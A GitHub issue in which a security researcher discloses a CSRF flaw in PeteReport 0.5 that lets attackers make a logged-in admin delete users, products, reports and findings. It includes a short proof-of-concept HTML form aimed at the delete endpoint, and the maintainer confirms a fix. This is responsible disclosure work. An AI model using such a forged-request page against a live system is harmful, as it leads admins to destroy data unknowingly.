Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Security Issue - CSRF (Delete user,product,etc) #34

Closed
alestorm980 opened this issue Feb 7, 2022 · 2 comments
Closed

Security Issue - CSRF (Delete user,product,etc) #34

alestorm980 opened this issue Feb 7, 2022 · 2 comments
Labels
bug Something isn't working

Comments

@alestorm980
Copy link

Hi I am a security researcher at Fluid Attacks, our security team found a security issue inside PeteReport version 0.5.

Attached below are the links to our responsible disclosure policy.

Bug description

PeteReport Version 0.5 contains a Cross Site Request Forgery (CSRF) vulnerability allowing an attacker to trick users into deleting users, products, reports and findings in the application.

CVSSv3 Vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

CVSSv3 Base Score:

4.3

Steps to reproduce

  1. Create a malicious html file with the following content.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <!--Change ID -->
    <form action="https://127.0.0.1/configuration/user/delete/:id">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
  1. If an authenticated admin visits the malicious url, the user with the correspond id will be deleted

Screenshots and files

evidence

delete_user_html

System Information

  • Version: PeteReport Version 0.5.
  • Operating System: Docker.
  • Web Server: nginx.
@1modm 1modm added the bug Something isn't working label Feb 8, 2022
@1modm
Copy link
Owner

1modm commented Feb 8, 2022

@alestorm980 Thank you for bring this to me, I missed the csrf token in the delete endpoints. Take a look into the last commit and let me know if do you find more issues.

Muchas gracias :)

@1modm 1modm closed this as completed Feb 8, 2022
@alestorm980
Copy link
Author

Hi @1modm, thanks for your fast response!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
bug Something isn't working
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
2 participants
@1modm @alestorm980